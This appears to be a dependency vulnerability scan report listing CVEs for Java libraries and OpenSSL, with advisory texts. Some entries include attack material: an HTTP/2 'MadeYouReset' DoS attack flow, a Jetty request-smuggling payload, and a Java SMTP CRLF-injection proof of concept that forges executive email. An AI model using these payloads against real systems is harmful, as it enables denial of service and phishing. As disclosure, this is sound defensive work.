- -Those using Jettison to parse untrusted XML or JSON data may be vulnerable to Denial of Service attacks (DOS). If the parser is running on user supplied input, an attacker may supply content that causes the parser to crash by stackoverflow. This effect may support a denial of service attack. - -
-
-
-
critical: 0 high: 3 medium: 0 low: 0 io.netty/netty-codec-http2 4.1.96.Final (maven) - -pkg:maven/io.netty/netty-codec-http2@4.1.96.Final
-high 8.2: CVE--2025--55163 Allocation of Resources Without Limits or Throttling - - - - - - - - -
Affected range<=4.1.123.Final
Fixed version4.1.124.Final
CVSS Score8.2
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
EPSS Score0.102%
EPSS Percentile29th percentile
- -
Description -
- -Below is a technical explanation of a newly discovered vulnerability in HTTP/2, which we refer to as “MadeYouReset.” - -### MadeYouReset Vulnerability Summary -The MadeYouReset DDoS vulnerability is a logical vulnerability in the HTTP/2 protocol, that uses malformed HTTP/2 control frames in order to break the max concurrent streams limit - which results in resource exhaustion and distributed denial of service. - -### Mechanism -The vulnerability uses malformed HTTP/2 control frames, or malformed flow, in order to make the server reset streams created by the client (using the RST_STREAM frame). -The vulnerability could be triggered by several primitives, defined by the RFC of HTTP/2 (RFC 9113). The Primitives are: -1. WINDOW_UPDATE frame with an increment of 0 or an increment that makes the window exceed 2^31 - 1. (section 6.9 + 6.9.1) -2. HEADERS or DATA frames sent on a half-closed (remote) stream (which was closed using the END_STREAM flag). (note that for some implementations it's possible a CONTINUATION frame to trigger that as well - but it's very rare). (Section 5.1) -3. PRIORITY frame with a length other than 5. (section 6.3) -From our experience, the primitives are likely to exist in the decreasing order listed above. -Note that based on the implementation of the library, other primitives (which are not defined by the RFC) might exist - meaning scenarios in which RST_STREAM is not supposed to be sent, but in the implementation it does. On the other hand - some RFC-defined primitives might not work, even though they are defined by the RFC (as some implementations are not fully complying with RFC). For example, some implementations we’ve seen discard the PRIORITY frame - and thus does not return RST_STREAM, and some implementations send GO_AWAY when receiving a WINDOW_UPDATE frame with increment of 0. - -The vulnerability takes advantage of a design flaw in the HTTP/2 protocol - While HTTP/2 has a limit on the number of concurrently active streams per connection (which is usually 100, and is set by the parameter SETTINGS_MAX_CONCURRENT_STREAMS), the number of active streams is not counted correctly - when a stream is reset, it is immediately considered not active, and thus unaccounted for in the active streams counter. -While the protocol does not count those streams as active, the server’s backend logic still processes and handles the requests that were canceled. - -Thus, the attacker can exploit this vulnerability to cause the server to handle an unbounded number of concurrent streams from a client on the same connection. The exploitation is very simple: the client issues a request in a stream, and then sends the control frame that causes the server to send a RST_STREAM. - -### Attack Flow -For example, a possible attack scenario can be: -1. Attacker opens an HTTP/2 connection to the server. -2. Attacker sends HEADERS frame with END_STREAM flag on a new stream X. -3. Attacker sends WINDOW_UPDATE for stream X with flow-control window of 0. -4. The server receives the WINDOW_UPDATE and immediately sends RST_STREAM for stream X to the client (+ decreases the active streams counter by 1). - -The attacker can repeat steps 2+3 as rapidly as it is capable, since the active streams counter never exceeds 1 and the attacker does not need to wait for the response from the server. -This leads to resource exhaustion and distributed denial of service vulnerabilities with an impact of: CPU overload and/or memory exhaustion (implementation dependent) - -### Comparison to Rapid Reset -The vulnerability takes advantage of a design flow in the HTTP/2 protocol that was also used in the Rapid Reset vulnerability (CVE-2023-44487) which was exploited as a zero-day in the wild in August 2023 to October 2023, against multiple services and vendors. -The Rapid Reset vulnerability uses RST_STREAM frames sent from the client, in order to create an unbounded amount of concurrent streams - it was given a CVSS score of 7.5. -Rapid Reset was mostly mitigated by limiting the number/rate of RST_STREAM sent from the client, which does not mitigate the MadeYouReset attack - since it triggers the server to send a RST_STREAM. - -### Suggested Mitigations for MadeYouReset -A quick and easy mitigation will be to limit the number/rate of RST_STREAMs sent from the server. -It is also possible to limit the number/rate of control frames sent by the client (e.g. WINDOW_UPDATE and PRIORITY), and treat protocol flow errors as a connection error. - -As mentioned in our previous message, this is a protocol-level vulnerability that affects multiple vendors and implementations. Given its broad impact, it is the shared responsibility of all parties involved to handle the disclosure process carefully and coordinate mitigations effectively. - - -If you have any questions, we will be happy to clarify or schedule a Zoom call. - -Gal, Anat and Yaniv. - -
-
- -high 7.5: GHSA--xpw8--rcwv--8f8p Uncontrolled Resource Consumption - - - - - - -
Affected range<4.1.100.Final
Fixed version4.1.100.Final
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
- -
Description -
- -A client might overload the server by issue frequent RST frames. This can cause a massive amount of load on the remote system and so cause a DDOS attack. - -### Impact -This is a DDOS attack, any http2 server is affected and so you should update as soon as possible. - -### Patches -This is patched in version 4.1.100.Final. - -### Workarounds -A user can limit the amount of RST frames that are accepted per connection over a timeframe manually using either an own `Http2FrameListener` implementation or an `ChannelInboundHandler` implementation (depending which http2 API is used). - -### References -- https://www.cve.org/CVERecord?id=CVE-2023-44487 -- https://blog.cloudflare.com/technical-breakdown-http2-rapid-reset-ddos-attack/ -- https://cloud.google.com/blog/products/identity-security/google-cloud-mitigated-largest-ddos-attack-peaking-above-398-million-rps/ - -
-
- -high 7.5: CVE--2023--44487 OWASP Top Ten 2017 Category A9 - Using Components with Known Vulnerabilities - - - - - - - - -
Affected range<4.1.100
Fixed version4.1.100.Final
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score94.427%
EPSS Percentile100th percentile
- -
Description -
- -The HTTP/2 protocol allows a denial of service (server resource consumption) because request cancellation can reset many streams quickly, as exploited in the wild in August through October 2023. - -
-
-
-
critical: 0 high: 2 medium: 0 low: 0 net.minidev/json-smart 1.3.2 (maven) - -pkg:maven/net.minidev/json-smart@1.3.2
-high 7.5: CVE--2023--1370 Uncontrolled Recursion - - - - - - - - -
Affected range<2.4.9
Fixed version2.4.9
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.014%
EPSS Percentile2nd percentile
- -
Description -
- -### Impact -Affected versions of [net.minidev:json-smart](https://github.com/netplex/json-smart-v1) are vulnerable to Denial of Service (DoS) due to a StackOverflowError when parsing a deeply nested JSON array or object. - -When reaching a ‘[‘ or ‘{‘ character in the JSON input, the code parses an array or an object respectively. It was discovered that the 3PP does not have any limit to the nesting of such arrays or objects. Since the parsing of nested arrays and objects is done recursively, nesting too many of them can cause stack exhaustion (stack overflow) and crash the software. - -### Patches -This vulnerability was fixed in json-smart version 2.4.9, but the maintainer recommends upgrading to 2.4.10, due to a remaining bug. - -### Workarounds -N/A - -### References -- https://www.cve.org/CVERecord?id=CVE-2023-1370 -- https://nvd.nist.gov/vuln/detail/CVE-2023-1370 -- https://security.snyk.io/vuln/SNYK-JAVA-NETMINIDEV-3369748 - -
-
- -high 7.5: CVE--2021--31684 Out-of-bounds Read - - - - - - - - -
Affected range>=1.3.0
<1.3.3
Fixed version1.3.3
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.117%
EPSS Percentile31st percentile
- -
Description -
- -A vulnerability was discovered in the indexOf function of JSONParserByteArray in JSON Smart versions prior to 1.3.3 and 2.4.5 which causes a denial of service (DOS) via a crafted web request. - -
-
-
-
critical: 0 high: 1 medium: 2 low: 0 org.eclipse.jetty/jetty-server 9.4.51.v20230217 (maven) - -pkg:maven/org.eclipse.jetty/jetty-server@9.4.51.v20230217
-high 7.2: CVE--2024--13009 Improper Resource Shutdown or Release - - - - - - - - -
Affected range>=9.4.0
<=9.4.56
Fixed version9.4.57.v20241219
CVSS Score7.2
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
EPSS Score0.073%
EPSS Percentile22nd percentile
- -
Description -
- -In Eclipse Jetty versions 9.4.0 to 9.4.56 a buffer can be incorrectly released when confronted with a gzip error when inflating a request body. This can result in corrupted and/or inadvertent sharing of data between requests. - -
-
- -medium 5.9: CVE--2024--8184 Uncontrolled Resource Consumption - - - - - - - - -
Affected range>=9.3.12
<=9.4.55
Fixed version9.4.56
CVSS Score5.9
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score1.487%
EPSS Percentile81st percentile
- -
Description -
- -### Impact -Remote DOS attack can cause out of memory - -### Description -There exists a security vulnerability in Jetty's `ThreadLimitHandler.getRemote()` which -can be exploited by unauthorized users to cause remote denial-of-service (DoS) attack. By -repeatedly sending crafted requests, attackers can trigger OutofMemory errors and exhaust the -server's memory. - -### Affected Versions - -* Jetty 12.0.0-12.0.8 (Supported) -* Jetty 11.0.0-11.0.23 (EOL) -* Jetty 10.0.0-10.0.23 (EOL) -* Jetty 9.3.12-9.4.55 (EOL) - -### Patched Versions - -* Jetty 12.0.9 -* Jetty 11.0.24 -* Jetty 10.0.24 -* Jetty 9.4.56 - -### Workarounds - -Do not use `ThreadLimitHandler`. -Consider use of `QoSHandler` instead to artificially limit resource utilization. - -### References - -Jetty 12 - https://github.com/jetty/jetty.project/pull/11723 - -
-
- -medium 5.3: CVE--2023--40167 OWASP Top Ten 2017 Category A9 - Using Components with Known Vulnerabilities - - - - - - - - -
Affected range>=9.0.0
<9.4.52
Fixed version9.4.52.v20230823, 10.0.16, 11.0.16, 12.0.1
CVSS Score5.3
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
EPSS Score5.222%
EPSS Percentile90th percentile
- -
Description -
- -### Impact - -Jetty accepts the '+' character proceeding the content-length value in a HTTP/1 header field. This is more permissive than allowed by the RFC and other servers routinely reject such requests with 400 responses. There is no known exploit scenario, but it is conceivable that request smuggling could result if jetty is used in combination with a server that does not close the connection after sending such a 400 response. - -### Workarounds - -There is no workaround as there is no known exploit scenario. - -### Original Report - -[RFC 9110 Secion 8.6](https://www.rfc-editor.org/rfc/rfc9110#section-8.6) defined the value of Content-Length header should be a string of 0-9 digits. However we found that Jetty accepts "+" prefixed Content-Length, which could lead to potential HTTP request smuggling. - -Payload: - -``` - POST / HTTP/1.1 - Host: a.com - Content-Length: +16 - Connection: close - ​ - 0123456789abcdef -``` - -When sending this payload to Jetty, it can successfully parse and identify the length. - -When sending this payload to NGINX, Apache HTTPd or other HTTP servers/parsers, they will return 400 bad request. - -This behavior can lead to HTTP request smuggling and can be leveraged to bypass WAF or IDS. - -
-
-
-
critical: 0 high: 1 medium: 2 low: 0 openssl 3.3.3-r0 (apk) - -pkg:apk/alpine/openssl@3.3.3-r0?os_name=alpine&os_version=3.20
-high : CVE--2025--9230 - - - - - - -
Affected range<3.3.5-r0
Fixed version3.3.5-r0
EPSS Score0.026%
EPSS Percentile7th percentile
- -
Description -
- - - -
-
- -medium : CVE--2025--9231 - - - - - - -
Affected range<3.3.5-r0
Fixed version3.3.5-r0
EPSS Score0.016%
EPSS Percentile3rd percentile
- -
Description -
- - - -
-
- -medium : CVE--2025--9232 - - - - - - -
Affected range<3.3.5-r0
Fixed version3.3.5-r0
EPSS Score0.028%
EPSS Percentile7th percentile
- -
Description -
- - - -
-
-
-
critical: 0 high: 1 medium: 1 low: 0 org.eclipse.jetty/jetty-server 9.4.52.v20230823 (maven) - -pkg:maven/org.eclipse.jetty/jetty-server@9.4.52.v20230823
-high 7.2: CVE--2024--13009 Improper Resource Shutdown or Release - - - - - - - - -
Affected range>=9.4.0
<=9.4.56
Fixed version9.4.57.v20241219
CVSS Score7.2
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
EPSS Score0.073%
EPSS Percentile22nd percentile
- -
Description -
- -In Eclipse Jetty versions 9.4.0 to 9.4.56 a buffer can be incorrectly released when confronted with a gzip error when inflating a request body. This can result in corrupted and/or inadvertent sharing of data between requests. - -
-
- -medium 5.9: CVE--2024--8184 Uncontrolled Resource Consumption - - - - - - - - -
Affected range>=9.3.12
<=9.4.55
Fixed version9.4.56
CVSS Score5.9
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score1.487%
EPSS Percentile81st percentile
- -
Description -
- -### Impact -Remote DOS attack can cause out of memory - -### Description -There exists a security vulnerability in Jetty's `ThreadLimitHandler.getRemote()` which -can be exploited by unauthorized users to cause remote denial-of-service (DoS) attack. By -repeatedly sending crafted requests, attackers can trigger OutofMemory errors and exhaust the -server's memory. - -### Affected Versions - -* Jetty 12.0.0-12.0.8 (Supported) -* Jetty 11.0.0-11.0.23 (EOL) -* Jetty 10.0.0-10.0.23 (EOL) -* Jetty 9.3.12-9.4.55 (EOL) - -### Patched Versions - -* Jetty 12.0.9 -* Jetty 11.0.24 -* Jetty 10.0.24 -* Jetty 9.4.56 - -### Workarounds - -Do not use `ThreadLimitHandler`. -Consider use of `QoSHandler` instead to artificially limit resource utilization. - -### References - -Jetty 12 - https://github.com/jetty/jetty.project/pull/11723 - -
-
-
-
critical: 0 high: 1 medium: 1 low: 0 com.nimbusds/nimbus-jose-jwt 9.8.1 (maven) - -pkg:maven/com.nimbusds/nimbus-jose-jwt@9.8.1
-high 8.7: CVE--2023--52428 Uncontrolled Resource Consumption - - - - - - - - -
Affected range<9.37.2
Fixed version9.37.2
CVSS Score8.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
EPSS Score0.078%
EPSS Percentile23rd percentile
- -
Description -
- -In Connect2id Nimbus JOSE+JWT before 9.37.2, an attacker can cause a denial of service (resource consumption) via a large JWE p2c header value (aka iteration count) for the PasswordBasedDecrypter (PBKDF2) component. - -
-
- -medium 5.8: CVE--2025--53864 Uncontrolled Recursion - - - - - - - - -
Affected range<9.37.4
Fixed version10.0.2
CVSS Score5.8
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:L
EPSS Score0.044%
EPSS Percentile14th percentile
- -
Description -
- -Connect2id Nimbus JOSE + JWT before 10.0.2 allows a remote attacker to cause a denial of service via a deeply nested JSON object supplied in a JWT claim set, because of uncontrolled recursion. NOTE: this is independent of the Gson 2.11.0 issue because the Connect2id product could have checked the JSON object nesting depth, regardless of what limits (if any) were imposed by Gson. - -
-
-
-
critical: 0 high: 1 medium: 0 low: 0 org.jboss.xnio/xnio-api 3.8.8.Final (maven) - -pkg:maven/org.jboss.xnio/xnio-api@3.8.8.Final
-high 7.5: CVE--2023--5685 Uncontrolled Resource Consumption - - - - - - - - -
Affected range<=3.8.13.Final
Fixed version3.8.14.Final
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.474%
EPSS Percentile64th percentile
- -
Description -
- -A flaw was found in XNIO. The XNIO NotifierState that can cause a Stack Overflow Exception when the chain of notifier states becomes problematically large can lead to uncontrolled resource management and a possible denial of service (DoS). Version 3.8.14.Final is expected to contain a fix. - -
-
-
-
critical: 0 high: 1 medium: 0 low: 0 com.fasterxml.jackson.core/jackson-core 2.13.4 (maven) - -pkg:maven/com.fasterxml.jackson.core/jackson-core@2.13.4
-high 8.7: CVE--2025--52999 Stack-based Buffer Overflow - - - - - - - - -
Affected range<2.15.0
Fixed version2.15.0
CVSS Score8.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
EPSS Score0.030%
EPSS Percentile8th percentile
- -
Description -
- -### Impact -With older versions of jackson-core, if you parse an input file and it has deeply nested data, Jackson could end up throwing a StackoverflowError if the depth is particularly large. - -### Patches -jackson-core 2.15.0 contains a configurable limit for how deep Jackson will traverse in an input document, defaulting to an allowable depth of 1000. Change is in https://github.com/FasterXML/jackson-core/pull/943. jackson-core will throw a StreamConstraintsException if the limit is reached. -jackson-databind also benefits from this change because it uses jackson-core to parse JSON inputs. - -### Workarounds -Users should avoid parsing input files from untrusted sources. - -
-
-
-
critical: 0 high: 1 medium: 0 low: 0 com.google.protobuf/protobuf-java 3.23.4 (maven) - -pkg:maven/com.google.protobuf/protobuf-java@3.23.4
-high 8.7: CVE--2024--7254 Improper Input Validation - - - - - - - - -
Affected range<3.25.5
Fixed version3.25.5
CVSS Score8.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
EPSS Score0.085%
EPSS Percentile25th percentile
- -
Description -
- -### Summary -When parsing unknown fields in the Protobuf Java Lite and Full library, a maliciously crafted message can cause a StackOverflow error and lead to a program crash. - -Reporter: Alexis Challande, Trail of Bits Ecosystem Security Team - -Affected versions: This issue affects all versions of both the Java full and lite Protobuf runtimes, as well as Protobuf for Kotlin and JRuby, which themselves use the Java Protobuf runtime. - -### Severity -[CVE-2024-7254](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-7254) **High** CVSS4.0 Score 8.7 (NOTE: there may be a delay in publication) -This is a potential Denial of Service. Parsing nested groups as unknown fields with DiscardUnknownFieldsParser or Java Protobuf Lite parser, or against Protobuf map fields, creates unbounded recursions that can be abused by an attacker. - -### Proof of Concept -For reproduction details, please refer to the unit tests (Protobuf Java [LiteTest](https://github.com/protocolbuffers/protobuf/blob/a037f28ff81ee45ebe008c64ab632bf5372242ce/java/lite/src/test/java/com/google/protobuf/LiteTest.java) and [CodedInputStreamTest](https://github.com/protocolbuffers/protobuf/blob/a037f28ff81ee45ebe008c64ab632bf5372242ce/java/core/src/test/java/com/google/protobuf/CodedInputStreamTest.java)) that identify the specific inputs that exercise this parsing weakness. - -### Remediation and Mitigation -We have been working diligently to address this issue and have released a mitigation that is available now. Please update to the latest available versions of the following packages: -* protobuf-java (3.25.5, 4.27.5, 4.28.2) -* protobuf-javalite (3.25.5, 4.27.5, 4.28.2) -* protobuf-kotlin (3.25.5, 4.27.5, 4.28.2) -* protobuf-kotlin-lite (3.25.5, 4.27.5, 4.28.2) -* com-protobuf [JRuby gem only] (3.25.5, 4.27.5, 4.28.2) - -
-
-
-
critical: 0 high: 1 medium: 0 low: 0 dnsjava/dnsjava 2.1.7 (maven) - -pkg:maven/dnsjava/dnsjava@2.1.7
-high 7.0: CVE--2024--25638 Insufficient Verification of Data Authenticity - - - - - - - - -
Affected range<3.6.0
Fixed version3.6.0
CVSS Score7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:L
EPSS Score0.188%
EPSS Percentile41st percentile
- -
Description -
- -### Summary - -Records in DNS replies are not checked for their relevance to the query, allowing an attacker to respond with RRs from different zones. - -### Details - -DNS Messages are not authenticated. They do not guarantee that - -- received RRs are authentic -- not received RRs do not exist -- all or any received records in a response relate to the request - -Applications utilizing DNSSEC generally expect these guarantees to be met, however DNSSEC by itself only guarantees the first two. -To meet the third guarantee, resolvers generally follow an (undocumented, as far as RFCs go) algorithm such as: (simplified, e.g. lacks DNSSEC validation!) - -1. denote by `QNAME` the name you are querying (e.g. fraunhofer.de.), and initialize a list of aliases -2. if the ANSWER section contains a valid PTR RRSet for `QNAME`, return it (and optionally return the list of aliases as well) -3. if the ANSWER section contains a valid CNAME RRSet for `QNAME`, add it to the list of aliases. Set `QNAME` to the CNAME's target and go to 2. -4. Verify that `QNAME` does not have any PTR, CNAME and DNAME records using valid NSEC or NSEC3 records. Return `null`. - -Note that this algorithm relies on NSEC records and thus requires a considerable portion of the DNSSEC specifications to be implemented. For this reason, it cannot be performed by a DNS client (aka application) and is typically performed as part of the resolver logic. - -dnsjava does not implement a comparable algorithm, and the provided APIs instead return either - -- the received DNS message itself (e.g. when using a ValidatingResolver such as in [this](https://github.com/dnsjava/dnsjava/blob/master/EXAMPLES.md#dnssec-resolver) example), or -- essentially just the contents of its ANSWER section (e.g. when using a LookupSession such as in [this](https://github.com/dnsjava/dnsjava/blob/master/EXAMPLES.md#simple-lookup-with-a-resolver) example) - -If applications blindly filter the received results for RRs of the desired record type (as seems to be typical usage for dnsjava), a rogue recursive resolver or (on UDP/TCP connections) a network attacker can - -- In addition to the actual DNS response, add RRs irrelevant to the query but of the right datatype, e.g. from another zone, as long as that zone is correctly using DNSSEC, or -- completely exchange the relevant response records - -### Impact - -DNS(SEC) libraries are usually used as part of a larger security framework. -Therefore, the main misuses of this vulnerability concern application code, which might take the returned records as authentic answers to the request. -Here are three concrete examples of where this might be detrimental: - -- [RFC 6186](https://datatracker.ietf.org/doc/html/rfc6186) specifies that to connect to an IMAP server for a user, a mail user agent should retrieve certain SRV records and send the user's credentials to the specified servers. Exchanging the SRV records can be a tool to redirect the credentials. -- When delivering mail via SMTP, MX records determine where to deliver the mails to. Exchanging the MX records might lead to information disclosure. Additionally, an exchange of TLSA records might allow attackers to intercept TLS traffic. -- Some research projects like [LIGHTest](https://www.lightest.eu/) are trying to manage CA trust stores via URI and SMIMEA records in the DNS. Exchanging these allows manipulating the root of trust for dependent applications. - -### Mitigations - -At this point, the following mitigations are recommended: - -- When using a ValidatingResolver, ignore any Server indications of whether or not data was available (e.g. NXDOMAIN, NODATA, ...). -- For APIs returning RRs from DNS responses, filter the RRs using an algorithm such as the one above. This includes e.g. `LookupSession.lookupAsync`. -- Remove APIs dealing with raw DNS messages from the examples section or place a noticable warning above. - -
-
-
-
critical: 0 high: 1 medium: 0 low: 0 io.airlift/aircompressor 0.25 (maven) - -pkg:maven/io.airlift/aircompressor@0.25
-high 8.6: CVE--2024--36114 Out-of-bounds Read - - - - - - - - -
Affected range<0.27
Fixed version0.27
CVSS Score8.6
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H
EPSS Score0.120%
EPSS Percentile32nd percentile
- -
Description -
- -### Summary -All decompressor implementations of Aircompressor (LZ4, LZO, Snappy, Zstandard) can crash the JVM for certain input, and in some cases also leak the content of other memory of the Java process (which could contain sensitive information). - -### Details -When decompressing certain data, the decompressors try to access memory outside the bounds of the given byte arrays or byte buffers. Because Aircompressor uses the JDK class `sun.misc.Unsafe` to speed up memory access, no additional bounds checks are performed and this has similar security consequences as out-of-bounds access in C or C++, namely it can lead to non-deterministic behavior or crash the JVM. - -Users should update to Aircompressor 0.27 or newer where these issues have been fixed. - -### Impact -When decompressing data from untrusted users, this can be exploited for a denial-of-service attack by crashing the JVM, or to leak other sensitive information from the Java process. - -
-
-
-
critical: 0 high: 1 medium: 0 low: 0 commons-beanutils/commons-beanutils 1.9.4 (maven) - -pkg:maven/commons-beanutils/commons-beanutils@1.9.4
-high 8.8: CVE--2025--48734 Improper Access Control - - - - - - - - -
Affected range>=1.0
<=1.10.1
Fixed version1.11.0
CVSS Score8.8
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
EPSS Score0.077%
EPSS Percentile23rd percentile
- -
Description -
- -Improper Access Control vulnerability in Apache Commons. - - - -A special BeanIntrospector class was added in version 1.9.2. This can be used to stop attackers from using the declared class property of Java enum objects to get access to the classloader. However this protection was not enabled by default. PropertyUtilsBean (and consequently BeanUtilsBean) now disallows declared class level property access by default. - - - - - -Releases 1.11.0 and 2.0.0-M2 address a potential security issue when accessing enum properties in an uncontrolled way. If an application using Commons BeanUtils passes property paths from an external source directly to the getProperty() method of PropertyUtilsBean, an attacker can access the enum’s class loader via the “declaredClass” property available on all Java “enum” objects. Accessing the enum’s “declaredClass” allows remote attackers to access the ClassLoader and execute arbitrary code. The same issue exists with PropertyUtilsBean.getNestedProperty(). -Starting in versions 1.11.0 and 2.0.0-M2 a special BeanIntrospector suppresses the “declaredClass” property. Note that this new BeanIntrospector is enabled by default, but you can disable it to regain the old behavior; see section 2.5 of the user's guide and the unit tests. - -This issue affects Apache Commons BeanUtils 1.x before 1.11.0, and 2.x before 2.0.0-M2.Users of the artifact commons-beanutils:commons-beanutils - - 1.x are recommended to upgrade to version 1.11.0, which fixes the issue. - - -Users of the artifact org.apache.commons:commons-beanutils2 - - 2.x are recommended to upgrade to version 2.0.0-M2, which fixes the issue. - -
-
-
-
critical: 0 high: 1 medium: 0 low: 0 io.netty/netty-codec-smtp 4.1.96.Final (maven) - -pkg:maven/io.netty/netty-codec-smtp@4.1.96.Final
-high 7.7: CVE--2025--59419 Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') - - - - - - - - -
Affected range<4.1.128.Final
Fixed version4.1.128.Final
CVSS Score7.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P
EPSS Score3.365%
EPSS Percentile87th percentile
- -
Description -
- -### Summary -An SMTP Command Injection (CRLF Injection) vulnerability in Netty's SMTP codec allows a remote attacker who can control SMTP command parameters (e.g., an email recipient) to forge arbitrary emails from the trusted server. This bypasses standard email authentication and can be used to impersonate executives and forge high-stakes corporate communications. - -### Details -The root cause is the lack of input validation for Carriage Return (\r) and Line Feed (\n) characters in user-supplied parameters. - -The vulnerable code is in io.netty.handler.codec.smtp.DefaultSmtpRequest, where parameters are directly concatenated into the SMTP command string. For example, when SmtpRequests.rcpt(recipient) is called, a malicious recipient string containing CRLF sequences can inject a new, separate SMTP command. - -Because the injected commands are sent from the server's trusted IP, any resulting emails will likely pass SPF and DKIM checks, making them appear legitimate to the victim's email client. - -### PoC -A minimal PoC involves passing a crafted string containing CRLF sequences to any `SmtpRequest` that accepts user-controlled parameters. - -**1. Malicious Payload** - -The core of the exploit is the payload, where new SMTP commands are injected into a parameter. - -```java -// The legitimate recipient is followed by an injected email sequence -String injected_recipient = "legit-recipient@example.com\r\n" + - "MAIL FROM:\r\n" + - "RCPT TO:\r\n" + - "DATA\r\n" + - "From: ceo@trusted-domain.com\r\n" + - "To: victim@anywhere.com\r\n" + - "Subject: Urgent: Phishing Email\r\n" + - "\r\n" + - "This is a forged email that will pass authentication checks.\r\n" + - ".\r\n" + - "QUIT\r\n"; -``` - -**2. Triggering the Vulnerability** - -The vulnerability is triggered when this payload is used to create an SMTP request. - -```java -// The Netty SMTP codec will fail to sanitize this input -SmtpRequest maliciousRequest = SmtpRequests.rcpt(injected_recipient); - -// When this request is sent to an SMTP server, the injected commands -// will be executed, sending a forged email. -channel.writeAndFlush(maliciousRequest); -``` - -**3. Full Reproduction Steps** - -A complete, runnable PoC is available as a GitHub Gist to demonstrate the full attack flow against a local SMTP server - -* **Full PoC Code:** https://gist.github.com/DepthFirstDisclosures/ddacca28cb94b48fa8ab998cef59ed8c - -To run the full PoC: - -1. **Set up a local SMTP server.** The easiest way is using MailHog: - * On macOS: `brew install mailhog && mailhog` - * Using Docker: `docker run -p 1025:1025 -p 8025:8025 mailhog/mailhog` -2. **Run the PoC code.** The code will connect to the SMTP server at `localhost:1025` and send the malicious payload. -3. **Verify the result.** Open the MailHog web UI at `http://localhost:8025`. You will see the forged email sent to `victim@anywhere.com` from `ceo@trusted-domain.com`. - -### Impact -This is a SMTP Command Injection vulnerability. It impacts any application using `netty-codec-smtp` to construct SMTP requests where an attacker can control or influence any of the SMTP string parameters (e.g., `from`, `recipient`, `helo` hostname). - -The primary impacts are: -* **Economic Manipulation & Disinformation:** Attackers can forge emails from high-value targets (e.g., corporate executives, government officials) and send them to journalists, financial institutions, or the public. A fraudulent email announcing false financial results, a fake merger, or a security breach could be used to manipulate stock prices or cause significant economic disruption. -* **Sophisticated Phishing:** Attackers can send high-fidelity phishing emails that bypass email authentication (SPF/DKIM) and appear to come from a trusted source, making them highly likely to deceive users. - -
-
-
-
critical: 0 high: 1 medium: 0 low: 0 org.xerial.snappy/snappy-java 1.1.10.3 (maven) - -pkg:maven/org.xerial.snappy/snappy-java@1.1.10.3
-high 7.5: CVE--2023--43642 Allocation of Resources Without Limits or Throttling - - - - - - - - -
Affected range<=1.1.10.3
Fixed version1.1.10.4
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.190%
EPSS Percentile41st percentile
- -
Description -
- -### Summary - -snappy-java is a data compression library in Java. Its SnappyInputStream was found to be vulnerable to Denial of Service (DoS) attacks when decompressing data with a too-large chunk size. Due to missing upper bound check on chunk length, an unrecoverable fatal error can occur. - -### Scope - -All versions of snappy-java including the latest released version 1.1.10.3. A fix is applied in 1.1.10.4 - -### Details -While performing mitigation efforts related to [CVE-2023-34455](https://nvd.nist.gov/vuln/detail/CVE-2023-34455) in Confluent products, our Application Security team closely analyzed the fix that was accepted and merged into snappy-java version 1.1.10.1 in [this](https://github.com/xerial/snappy-java/commit/3bf67857fcf70d9eea56eed4af7c925671e8eaea) commit. The check on [line 421](https://github.com/xerial/snappy-java/commit/3bf67857fcf70d9eea56eed4af7c925671e8eaea#diff-c3e53610267092989965e8c7dd2d4417d355ff7f560f9e8075b365f32569079fR421) only attempts to check if chunkSize is not a negative value. We believe that this is an inadequate fix as it misses an upper-bounds check for overly positive values such as 0x7FFFFFFF (or (2,147,483,647 in decimal) before actually [attempting to allocate](https://github.com/xerial/snappy-java/commit/3bf67857fcf70d9eea56eed4af7c925671e8eaea#diff-c3e53610267092989965e8c7dd2d4417d355ff7f560f9e8075b365f32569079fR429) the provided unverified number of bytes via the “chunkSize” variable. This missing upper-bounds check can lead to the applications depending upon snappy-java to allocate an inappropriate number of bytes on the heap which can then cause an java.lang.OutOfMemoryError exception. Under some specific conditions and contexts, this can lead to a Denial-of-Service (DoS) attack with a direct impact on the availability of the dependent implementations based on the usage of the snappy-java library for compression/decompression needs. - -### PoC -Compile and run the following code: -``` -package org.example; -import org.xerial.snappy.SnappyInputStream; - 